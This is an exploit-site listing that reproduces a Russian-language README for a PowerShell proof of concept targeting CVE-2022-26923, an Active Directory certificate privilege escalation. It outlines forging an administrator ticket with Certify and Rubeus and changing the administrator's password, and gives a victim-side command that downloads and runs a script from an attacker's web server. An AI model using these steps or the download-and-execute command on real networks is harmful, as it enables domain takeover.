Sploitus

Exploit for CVE-2022-26923-Powershell-POC

kitploit · 2026-09-01

Exploit Code

MARKDOWN29 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LSECQT-CVE-2022-26923-POWERSHELL-POC
# CVE-2022-26923-Powershell-POC

Powershell POC для загрузки и автоматического запуска Certify и Rubeus из памяти.

# Как это работает?

  1. Загружает Certify.exe и Rubeus.exe в память.
  2. Сканирует целевую машину на наличие неправильно настроенных шаблонов сертификатов. (подробнее на https://www.youtube.com/watch?v=HBRCI5O35R8)
  3. Запрашивает сертификат для административного пользователя на основе уязвимого шаблона.
  4. Отправляет сертификат обработчику сертификатов, который преобразует его в формат .pfx и отправляет обратно клиенту.
  5. Использует Rubeus для загрузки сертификата и создания билета для административного пользователя.
  6. Меняет пароль административного пользователя. (Только для демонстрации)



POC протестирован в следующих лабораториях TryHackMe: https://tryhackme.com/room/adcertificatetemplates

Эта CVE используется для повышения привилегий, поэтому в данной демонстрации, а также в лаборатории THM, не рассматривается начальная эксплуатация.

Шаги:

  1. python3 -m http.server 80 [Машина атакующего]
  2. python3 uploader.py 8000 [Машина атакующего]
  3. IEX(New-Object Net.WebClient).DownloadString('http://IP/poc.ps1') [Машина жертвы]



Примечание: Данный POC предназначен для образовательных целей, вы несете ответственность за свои действия.